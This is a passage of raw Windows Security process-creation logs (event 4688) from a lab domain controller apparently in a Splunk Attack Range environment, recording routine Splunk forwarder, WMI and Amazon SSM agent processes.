	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd94
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253718
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253717
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf98
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal pre-flight-checks --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253716
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf98
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253715
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253714
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf40
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253713
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf34
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253712
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf34
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253711
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253710
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xee4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253709
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253723
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe38
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253722
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253721
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1a0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253720
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253719
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253730
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf00
	New Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9a0
	Creator Process Name:	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
	Process Command Line:	"C:\Program Files\Amazon\SSM\ssm-agent-worker.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd44
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253728
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xecc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253727
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xecc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253726
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
